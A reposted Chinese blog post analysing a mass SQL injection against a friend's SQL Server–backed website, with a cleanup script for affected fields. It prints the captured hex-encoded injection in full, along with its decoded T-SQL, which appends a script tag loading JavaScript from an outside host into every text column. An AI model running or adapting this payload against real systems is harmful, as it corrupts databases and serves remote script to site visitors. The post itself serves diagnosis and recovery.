关于注入(css/c.js)

  这几天朋友的网站天天被搞破坏的人恶意注入,也许是程序没写好的原因,数据库每个字段加了一段script(<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>,而这个script地址时不时的有变化)。 用一些搜索引擎搜索下:/css/c.js></Script>,发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式:

;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt

(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C004000

4300200056006100720063006800610072002800320035003500290020004400650063006C00610072006500200054006100620

06C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063

007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F006

2006A006500630074007300200041002C0053007900730063006F006C0075006D006E0073002000420020005700680065007200

6500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D002700750

02700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E005800740079

00700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002

E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F00430075007200

73006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C00650

05F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040

004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E002000450078006

50063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B002700

2B00400043002B0027005D003D0052007400720069006D00280043006F006E00760065007200740028005600610072006300680

0610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C005300630072

0069007000740020005300720063003D0068007400740070003A002F002F0063002E006E00750063006C0065006100720033002

E0063002500360046002500360044002F006300730073002F0063002E006A0073003E003C002F00530063007200690070007400

3E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0

065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C

006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007

400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--

上面cast里面sql语句解密如下:

 Declare @T Varchar(255),@C Varchar(255)

Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And

A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0)

Begin 
Exec
('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<Script

Src=http://%63%2Enuclear3.com/css/c.js></Script>'''
)Fetch Next From  Table_Cursor Into @T,@C 
End

Close 
Table_Cursor

Deallocate Table_Cursor

总结:

还是程序没写好的原因,会导致注入,希望今后写程序能注意这个问题,不过想想用dotnet那种参数化取值,注入的可能性应该为零了。

因为这个朋友最怕数据丢失,希望恢复数据,于是我就帮他写了一个清理字段的sql脚本(只适合sqlserver)。呵,也希望给那被注入的网站的清理提供方便。代码如下:

    declare @name as nvarchar(128),@columnName as nvarchar(128),@columnType as nvarchar(128),@injectSql as nvarchar(111)
    
set @injectSql='<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>'
          
DECLARE curLabel CURSOR FOR select name from sysobjects where xtype='U'
          
OPEN curLabel
          
FETCH NEXT FROM curLabel INTO @name
          WHILE @@FETCH_STATUS = 
0
          
BEGIN
    DECLARE 
curLabel1 CURSOR FOR SELECT Column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE (TABLE_NAME = @name)
    
OPEN curLabel1
    
FETCH NEXT FROM curLabel1 INTO @columnName,@columnType
    WHILE @@FETCH_STATUS = 
0
    
BEGIN
     if
((@columnType='text' or @columnType='ntext'))
      
--print 1
      
BEGIN TRY
       
declare @primaryKey nvarchar(255);
       
SELECT @primaryKey=primaryKey from
       
(select
        
c.name as primaryKey,
        
case when c.colid in(select ik.colid
        
from sysindexes i, Sysindexkeys ik, sysobjects oo
        
where i.id=ik.id and i.indid=ik.indid
         
and i.name=oo.name and oo.xtype='PK' --主键
         
and o.id=i.id 
        ) 
then else end isPrimaryKey
        
from sysobjects o inner join syscolumns c on o.id=c.id 
        
where o.xtype='U'
        
and o.name=@name) as where isPrimaryKey=1

       
exec('declare @ptr varbinary(16);declare @id nvarchar(16);declare curText scroll Cursor for select textptr('+@columnName+'),'+@primaryKey+' from '+@name+';declare @Position int,@len int;OPEN curText;FETCH NEXT FROM curText INTO @ptr,@id;WHILE @@FETCH_STATUS=0 BEGIN;select @Position=patindex(''%'+@injectSql+'%'','+@columnName+') from '+@name+' where '+@primaryKey+'=@id;while @Position>0 begin;set @Position=@Position-1;updatetext '+@name+'.'+@columnName+' @ptr @Position @len '''';select @Position=patindex(''%'+@injectSql+'%'','+@columnName+') from '+@name+' where '+@primaryKey+'=@id;end;FETCH NEXT FROM curText INTO @ptr,@id;END;CLOSE curText;DEALLOCATE curText')
      
END TRY
      
BEGIN CATCH
       print(@name+
'.'+@columnName)
      
END CATCH;
     
else
      if
(@columnType='nvarchar' or @columnType='varchar')
      
exec('update '+@name+' set '+@columnName+'=replace('+@columnName+','''+@injectSql+''','''')')
    
    
FETCH NEXT FROM curLabel1 INTO @columnName,@columnType
    
END
    CLOSE 
curLabel1
    
DEALLOCATE curLabel1
          
FETCH NEXT FROM curLabel INTO @name
          
END
          CLOSE 
curLabel
          
DEALLOCATE curLabel

转载于:https://www.cnblogs.com/netcorner/archive/2008/12/29/1364519.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/363419.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js判断浏览器是否支持flash的方法

传统浏览器可以使用window.ActiveXObject检查浏览器是否启用相关的控件。检查浏览器是否启用flash控件&#xff0c;需要先检查浏览器是否支持ActiveXObject&#xff0c;可以使用typeof检查window.ActiveXObject是否等于undefined&#xff0c;语法&#xff1a; typeof window.Ac…

bzoj5328: [Sdoi2018]物理实验

果然我还是太菜了&#xff0c;爆了一天才过。。。。隔壁肉丝都不知道喊了多少句哎╮(╯▽╰)╭我又A了什么傻逼题(然鹅就是wf和国集的题QWQ) 其实这个题就是个裸题&#xff0c;但是我就是不会。。。 这个题第一步就是明显的旋转坐标系(不会的百度)&#xff0c;注意要先平移坐标…

什么是Windows RT

Windows RT(WinRT) 是 Windows 8 家族的一个新成员&#xff0c;而这也是此前 Windows on ARM(WOA) 的官方名称。Windows RT 专注于 ARM 平台&#xff0c;并不会单独零售&#xff0c;仅采用预装的方式发行。Windows RT 中将包含针对触摸操作进行优化的微软 Word、Excel、PowerPo…

Spring MVC和Thymeleaf:如何从模板访问数据

在典型的Spring MVC应用程序中&#xff0c; Controller类负责使用数据准备模型映射并选择要呈现的视图。 该model map允许视图技术的完整抽象&#xff0c;对于Thymeleaf而言&#xff0c;它被转换为Thymeleaf VariablesMap对象&#xff0c;该对象使所有定义的变量可用于模板中执…

JQ css3 导航栏到底部上移

导航栏 .navigation {position: fixed;bottom: 100px;right: 100px;z-index: 100; } .navigation {transition: bottom 2s;-webkit-transition: bottom 2s; } JQ代码 var nav eval($(.navigation).offset().top - $(window).scrollTop()); $(window).on(scroll, function() {v…

SQL2005-使用openrowset 里读取excel文件

很多时候我们都知道使用.net代码去读取word,excel文档&#xff0c;但是我们如何使用sql句语里读取excel文件呢&#xff1a;SQL2005为我们提供了OPENROWSET来访问各种数据源&#xff1a;,当然我还是建议使用.net代码来读取这些文件。这里就不多说了。 我们先看一下官方的解释&am…

@RequestBody ajax 415 400

使用springmvc和Ajax进行数据交互时使用标签RequestBody时我报了这两个错&#xff0c;刚开始对springmvc的使用和注解有点迷&#xff0c;然后踩坑上了。 先说下怎么才会踩上去。首先RequestBody在一个Controller的一个方法中只能用一次&#xff0c;所以如果你使用了两次意图在一…

C#中用WebClient.UploadData 方法上载文件数据

假如某网站有个表单&#xff0c;例如(url: http://localhost/login.aspx)&#xff1a;帐号密码我们需要在程序中提交数据到这个表单&#xff0c;对于这种表单&#xff0c;我们可以使用 WebClient.UploadData 方法来实现&#xff0c;将所要上传的数据拼成字符即可&#xff0c;程…

Java中的SynchronousQueue示例–生产者使用者解决方案

SynchronousQueue是BlockingQueue的一种特殊类型&#xff0c;其中每个插入操作必须等待另一个线程进行相应的删除操作&#xff0c;反之亦然。 当您在SynchronousQueue上调用put&#xff08;&#xff09;方法时&#xff0c;它将阻塞&#xff0c;直到有另一个线程将该元素从Queue…

OnSen UI结合AngularJs打造”美团APP我的”页面 --Hybrid App

1、页面效果图&#xff1a; 演示地址&#xff1a;http://www.nxl123.cn/bokeyuan/meiTuanDemo_mine/ 2、核心代码 mine.html&#xff1a; <ons-page id"mine" ng-controller"MineController"> <!--toolbar开始--> <ons-toolbar>…

[MOSS开发]:通过简单BUG跟踪Demo阐述用户控件对列表的操作

下面的文章我想以一个具体的BUG跟踪Demo来说明MOSS的具体应用,这里面会应用到下面的知识点: 1:用户组,用户的创建,权限分配&#xff1b; 2:列表的概念以及创建&#xff1b; 3:利用用户控件来完成表单的增加加功能&#xff1b; 4:当前域用户查看自己BUG。 BUG跟踪软件在一些…

Maven的课堂笔记4

9.Maven与MyEclipse2014结合 MyEclipse10以上的版本,对Maven支持的就比较好 9.2 Myeclipse配置 本地文件夹的C盘的.m2文件夹下必须得有这个settings.xml文件 不配置这个settings.xml文件的话,myeclipse会从互联网上下载需要的jar包. 9.3 修改pom文件 添加jar包 <project xml…

vue动画

vue 提供了一些显示、隐藏一些不同的过渡&#xff0c;效果主要跟 v-if v-show 动态组件 1. vue 给动画分了 6 个过程&#xff0c;在 css 中扮演 6 个类 .v-enter  定义动画的开始状态 .v-enter-active  定义动画生效时的状态 .v-enter-to  定义动画结束是的状态 .v-leave…

基于AngularJS的Onsen UI --Onsen UI学习笔记

AngularJS与Onsen UI的结合&#xff0c;Onsen UI应用程序实际上是一个AngularJS 1应用程序。 <!doctype html><html lang"en"><head> <meta charset"utf-8"> <link rel"stylesheet" href"lib/onsen/css/…

图数据库的知识表示与推理

图形数据库及其技术生态系统可以为知识表示和推理问题提供优雅&#xff0c;有效的解决方案。 要了解这种说法&#xff0c;我们必须首先了解什么是图形。 图是一种数据结构。 图数据结构的类型很多&#xff0c;但出于本文的目的&#xff0c;我们将重点介绍一种已被称为属性图的类…

解决win2003安装exchangeServer后关机慢的方法

在windows2003上安装exchange2003&#xff08;或者是exchange2000&#xff09;后&#xff0c;很多用户发现服务器关闭变得非常之慢……很不幸的是&#xff0c;我也遇到了这个问题。从日志中的错误信息来分析&#xff0c;和目录服务先于某些服务终止有关。在微软的KB上查了一下&…

vegas 为盖斯

vegas 为盖斯 S键 分割素材U键 分开视频和音频I键渲染开始O渲染结束 默认布局 为盖斯新建项目的参数 剪好后渲染 插入字幕 转载于:https://www.cnblogs.com/GaoNa/p/10562504.html

简单配置 docker swarm

简单配置 docker swarm #准备三台CentOS7 #IP划分 192.168.1.201 virtualBox1 192168.1.202 virtualBox2 192168.1.204 virtualBox3 #三台机器上分别安装docker docker安装 #三台机器上分别配置加速器 vim /etc/docker/daemon.json #该文…

css图片的全屏显示代码-css3

<!DOCTYPE html><html lang"en">  <head>     <meta charset"UTF-8">     <title>Title</title>     <style type"text/css" rel"stylesheet">       *{margin: 0;pad…

COMET彗星(三)构建自己的COMET核心

主题列表&#xff1a; COMET彗星&#xff08;一&#xff09;SERVER PUSH介绍 COMET彗星&#xff08;二&#xff09;基于SERVER PUSH的消息传输 引言&#xff1a; 在上一篇随笔中&#xff0c;对COMET使用的类和作用进行了简短的介绍&#xff0c;从本篇随笔开始&#xff0c;将从实…